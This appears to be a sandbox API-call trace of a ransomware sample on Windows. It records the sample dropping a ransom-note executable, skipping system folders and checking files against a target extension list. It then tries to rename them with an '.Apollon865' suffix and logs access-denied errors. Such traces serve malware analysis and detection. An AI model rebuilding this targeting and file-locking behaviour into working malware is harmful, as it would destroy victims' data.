	[0076.712] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0076.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions") returned 64
	[0076.712] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions"
	[0076.712] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.712] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.724] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.724] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45cc3cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45cc3cd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.724] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.724] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.724] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="auxpad" | out: lpString1="auxpad") returned="auxpad"
	[0076.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0076.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x5a3168
	[0076.724] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x5b7b50
	[0076.724] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1
	[0076.724] lstrcmpiW (lpString1="auxpad.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.724] lstrcmpiW (lpString1="auxpad.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.724] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="auxpad.xml" | out: lpString1="auxpad.xml") returned="auxpad.xml"
	[0076.724] lstrlenW (lpString="auxpad.xml") returned 10
	[0076.724] lstrlenW (lpString="Apollon865") returned 10
	[0076.724] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.Apollon865") returned 86
	[0076.724] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.742] GetLastError () returned 0x5
	[0076.742] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml MoveFileEx error 5\r\n") returned 104
	[0076.742] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml MoveFileEx error 5\r\n") returned 104
	[0076.742] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.742] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3634
	[0076.742] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x68, lpOverlapped=0x0) returned 1
	[0076.742] CloseHandle (hObject=0x100) returned 1
	[0076.743] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.743] CloseHandle (hObject=0x0) returned 0
	[0076.743] CloseHandle (hObject=0x0) returned 0
	[0076.743] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45cc3cd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45cc3cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.743] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.743] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1
	[0076.743] lstrcmpiW (lpString1="keypad", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.743] lstrcmpiW (lpString1="keypad", lpString2="Apollon865.txt.exe") returned 1
	[0076.743] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="keypad" | out: lpString1="keypad") returned="keypad"
	[0076.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0076.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x5a3338
	[0076.743] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fc10
	[0076.743] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1
	[0076.743] lstrcmpiW (lpString1="keypad.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.743] lstrcmpiW (lpString1="keypad.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.743] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="keypad.xml" | out: lpString1="keypad.xml") returned="keypad.xml"
	[0076.743] lstrlenW (lpString="keypad.xml") returned 10
	[0076.743] lstrlenW (lpString="Apollon865") returned 10
	[0076.743] lstrlenW (lpString=".dll") returned 4
	[0076.743] lstrcmpiW (lpString1="keypad.xml", lpString2=".dll") returned 1
	[0076.743] lstrlenW (lpString=".lnk") returned 4
	[0076.743] lstrcmpiW (lpString1="keypad.xml", lpString2=".lnk") returned 1
	[0076.743] lstrlenW (lpString=".ini") returned 4
	[0076.743] lstrcmpiW (lpString1="keypad.xml", lpString2=".ini") returned 1
	[0076.743] lstrlenW (lpString=".sys") returned 4
	[0076.743] lstrcmpiW (lpString1="keypad.xml", lpString2=".sys") returned 1
	[0076.743] lstrlenW (lpString="keypad.xml") returned 10
	[0076.743] lstrlenW (lpString="bak") returned 3
	[0076.744] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.744] lstrlenW (lpString="ba_") returned 3
	[0076.744] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.744] lstrlenW (lpString="dbb") returned 3
	[0076.744] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.744] lstrlenW (lpString="vmdk") returned 4
	[0076.744] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.744] lstrlenW (lpString="rar") returned 3
	[0076.744] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.744] lstrlenW (lpString="zip") returned 3
	[0076.744] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.744] lstrlenW (lpString="tgz") returned 3
	[0076.744] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.744] lstrlenW (lpString="vbox") returned 4
	[0076.744] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.744] lstrlenW (lpString="vdi") returned 3
	[0076.744] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.744] lstrlenW (lpString="vhd") returned 3
	[0076.744] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.744] lstrlenW (lpString="vhdx") returned 4
	[0076.744] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.744] lstrlenW (lpString="avhd") returned 4
	[0076.744] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.744] lstrlenW (lpString="db") returned 2
	[0076.744] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.744] lstrlenW (lpString="db2") returned 3
	[0076.744] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.744] lstrlenW (lpString="db3") returned 3
	[0076.744] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.744] lstrlenW (lpString="dbf") returned 3
	[0076.744] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.744] lstrlenW (lpString="mdf") returned 3
	[0076.744] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.744] lstrlenW (lpString="mdb") returned 3
	[0076.744] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.744] lstrlenW (lpString="sql") returned 3
	[0076.744] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.744] lstrlenW (lpString="sqlite") returned 6
	[0076.745] lstrcmpiW (lpString1="ad.xml", lpString2="sqlite") returned -1
	[0076.745] lstrlenW (lpString="sqlite3") returned 7
	[0076.745] lstrcmpiW (lpString1="pad.xml", lpString2="sqlite3") returned -1
	[0076.745] lstrlenW (lpString="sqlitedb") returned 8
	[0076.745] lstrcmpiW (lpString1="ypad.xml", lpString2="sqlitedb") returned 1
	[0076.745] lstrlenW (lpString="xml") returned 3
	[0076.745] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.745] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.Apollon865") returned 86
	[0076.745] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.747] GetLastError () returned 0x5
	[0076.747] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml MoveFileEx error 5\r\n") returned 104
	[0076.747] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml MoveFileEx error 5\r\n") returned 104
	[0076.747] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.747] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x369c
	[0076.748] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x68, lpOverlapped=0x0) returned 1
	[0076.748] CloseHandle (hObject=0x100) returned 1
	[0076.748] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.748] CloseHandle (hObject=0x0) returned 0
	[0076.748] CloseHandle (hObject=0x0) returned 0
	[0076.748] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1
	[0076.748] lstrcmpiW (lpString1="main", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.748] lstrcmpiW (lpString1="main", lpString2="Apollon865.txt.exe") returned 1
	[0076.748] lstrcmpiW (lpString1="main", lpString2=".") returned 1
	[0076.748] lstrcmpiW (lpString1="main", lpString2="..") returned 1
	[0076.748] lstrcmpiW (lpString1="main", lpString2="windows") returned -1
	[0076.748] lstrcmpiW (lpString1="main", lpString2="bootmgr") returned 1
	[0076.748] lstrcmpiW (lpString1="main", lpString2="temp") returned -1
	[0076.748] lstrcmpiW (lpString1="main", lpString2="pagefile.sys") returned -1
	[0076.748] lstrcmpiW (lpString1="main", lpString2="boot") returned 1
	[0076.748] lstrcmpiW (lpString1="main", lpString2="ids.txt") returned 1
	[0076.748] lstrcmpiW (lpString1="main", lpString2="ntuser.dat") returned -1
	[0076.748] lstrcmpiW (lpString1="main", lpString2="perflogs") returned -1
	[0076.748] lstrcmpiW (lpString1="main", lpString2="MSBuild") returned -1
	[0076.748] lstrlenW (lpString="main") returned 4
	[0076.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75
	[0076.748] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="main" | out: lpString1="main") returned="main"
	[0076.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0076.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x5a33d0
	[0076.749] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd70
	[0076.749] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1
	[0076.749] lstrcmpiW (lpString1="main.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.749] lstrcmpiW (lpString1="main.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.749] lstrcmpiW (lpString1="main.xml", lpString2=".") returned 1
	[0076.749] lstrcmpiW (lpString1="main.xml", lpString2="..") returned 1
	[0076.749] lstrcmpiW (lpString1="main.xml", lpString2="windows") returned -1
	[0076.749] lstrcmpiW (lpString1="main.xml", lpString2="bootmgr") returned 1
	[0076.749] lstrcmpiW (lpString1="main.xml", lpString2="temp") returned -1
	[0076.749] lstrcmpiW (lpString1="main.xml", lpString2="pagefile.sys") returned -1
	[0076.749] lstrcmpiW (lpString1="main.xml", lpString2="boot") returned 1
	[0076.749] lstrcmpiW (lpString1="main.xml", lpString2="ids.txt") returned 1
	[0076.749] lstrcmpiW (lpString1="main.xml", lpString2="ntuser.dat") returned -1
	[0076.749] lstrcmpiW (lpString1="main.xml", lpString2="perflogs") returned -1
	[0076.749] lstrcmpiW (lpString1="main.xml", lpString2="MSBuild") returned -1
	[0076.749] lstrlenW (lpString="main.xml") returned 8
	[0076.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main") returned 69
	[0076.749] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="main.xml" | out: lpString1="main.xml") returned="main.xml"
	[0076.749] lstrlenW (lpString="main.xml") returned 8
	[0076.749] lstrlenW (lpString="Apollon865") returned 10
	[0076.749] lstrlenW (lpString=".dll") returned 4
	[0076.749] lstrcmpiW (lpString1="main.xml", lpString2=".dll") returned 1
	[0076.749] lstrlenW (lpString=".lnk") returned 4
	[0076.749] lstrcmpiW (lpString1="main.xml", lpString2=".lnk") returned 1
	[0076.749] lstrlenW (lpString=".ini") returned 4
	[0076.749] lstrcmpiW (lpString1="main.xml", lpString2=".ini") returned 1
	[0076.749] lstrlenW (lpString=".sys") returned 4
	[0076.749] lstrcmpiW (lpString1="main.xml", lpString2=".sys") returned 1
	[0076.749] lstrlenW (lpString="main.xml") returned 8
	[0076.749] lstrlenW (lpString="bak") returned 3
	[0076.749] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.749] lstrlenW (lpString="ba_") returned 3
	[0076.749] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.749] lstrlenW (lpString="dbb") returned 3
	[0076.749] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.749] lstrlenW (lpString="vmdk") returned 4
	[0076.749] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.750] lstrlenW (lpString="rar") returned 3
	[0076.750] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.750] lstrlenW (lpString="zip") returned 3
	[0076.750] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.750] lstrlenW (lpString="tgz") returned 3
	[0076.750] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.750] lstrlenW (lpString="vbox") returned 4
	[0076.750] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.750] lstrlenW (lpString="vdi") returned 3
	[0076.750] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.750] lstrlenW (lpString="vhd") returned 3
	[0076.750] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.750] lstrlenW (lpString="vhdx") returned 4
	[0076.750] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.750] lstrlenW (lpString="avhd") returned 4
	[0076.750] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.750] lstrlenW (lpString="db") returned 2
	[0076.750] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.750] lstrlenW (lpString="db2") returned 3
	[0076.750] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.750] lstrlenW (lpString="db3") returned 3
	[0076.750] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.750] lstrlenW (lpString="dbf") returned 3
	[0076.750] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.750] lstrlenW (lpString="mdf") returned 3
	[0076.750] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.750] lstrlenW (lpString="mdb") returned 3
	[0076.750] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.750] lstrlenW (lpString="sql") returned 3
	[0076.750] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.750] lstrlenW (lpString="sqlite") returned 6
	[0076.750] lstrcmpiW (lpString1="in.xml", lpString2="sqlite") returned -1
	[0076.750] lstrlenW (lpString="sqlite3") returned 7
	[0076.750] lstrcmpiW (lpString1="ain.xml", lpString2="sqlite3") returned -1
	[0076.750] lstrlenW (lpString="sqlitedb") returned 8
	[0076.750] lstrlenW (lpString="xml") returned 3
	[0076.750] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.751] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.Apollon865") returned 84
	[0076.751] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.751] GetLastError () returned 0x5
	[0076.751] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml MoveFileEx error 5\r\n") returned 102
	[0076.751] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml MoveFileEx error 5\r\n") returned 102
	[0076.751] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.751] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3704
	[0076.751] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x66, lpOverlapped=0x0) returned 1
	[0076.751] CloseHandle (hObject=0x100) returned 1
	[0076.751] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.751] CloseHandle (hObject=0x0) returned 0
	[0076.751] CloseHandle (hObject=0x0) returned 0
	[0076.751] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1
	[0076.752] lstrcmpiW (lpString1="numbers", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.752] lstrcmpiW (lpString1="numbers", lpString2="Apollon865.txt.exe") returned 1
	[0076.752] lstrcmpiW (lpString1="numbers", lpString2=".") returned 1
	[0076.752] lstrcmpiW (lpString1="numbers", lpString2="..") returned 1
	[0076.752] lstrcmpiW (lpString1="numbers", lpString2="windows") returned -1
	[0076.752] lstrcmpiW (lpString1="numbers", lpString2="bootmgr") returned 1
	[0076.752] lstrcmpiW (lpString1="numbers", lpString2="temp") returned -1
	[0076.752] lstrcmpiW (lpString1="numbers", lpString2="pagefile.sys") returned -1
	[0076.752] lstrcmpiW (lpString1="numbers", lpString2="boot") returned 1
	[0076.752] lstrcmpiW (lpString1="numbers", lpString2="ids.txt") returned 1
	[0076.752] lstrcmpiW (lpString1="numbers", lpString2="ntuser.dat") returned 1
	[0076.752] lstrcmpiW (lpString1="numbers", lpString2="perflogs") returned -1
	[0076.752] lstrcmpiW (lpString1="numbers", lpString2="MSBuild") returned 1
	[0076.752] lstrlenW (lpString="numbers") returned 7
	[0076.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73
	[0076.752] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="numbers" | out: lpString1="numbers") returned="numbers"
	[0076.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0076.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x92) returned 0x5a0f28
	[0076.752] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc90
	[0076.752] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1
	[0076.752] lstrcmpiW (lpString1="numbers.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.752] lstrcmpiW (lpString1="numbers.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.752] lstrcmpiW (lpString1="numbers.xml", lpString2=".") returned 1
	[0076.752] lstrcmpiW (lpString1="numbers.xml", lpString2="..") returned 1
	[0076.752] lstrcmpiW (lpString1="numbers.xml", lpString2="windows") returned -1
	[0076.752] lstrcmpiW (lpString1="numbers.xml", lpString2="bootmgr") returned 1
	[0076.752] lstrcmpiW (lpString1="numbers.xml", lpString2="temp") returned -1
	[0076.752] lstrcmpiW (lpString1="numbers.xml", lpString2="pagefile.sys") returned -1
	[0076.752] lstrcmpiW (lpString1="numbers.xml", lpString2="boot") returned 1
	[0076.752] lstrcmpiW (lpString1="numbers.xml", lpString2="ids.txt") returned 1
	[0076.752] lstrcmpiW (lpString1="numbers.xml", lpString2="ntuser.dat") returned 1
	[0076.752] lstrcmpiW (lpString1="numbers.xml", lpString2="perflogs") returned -1
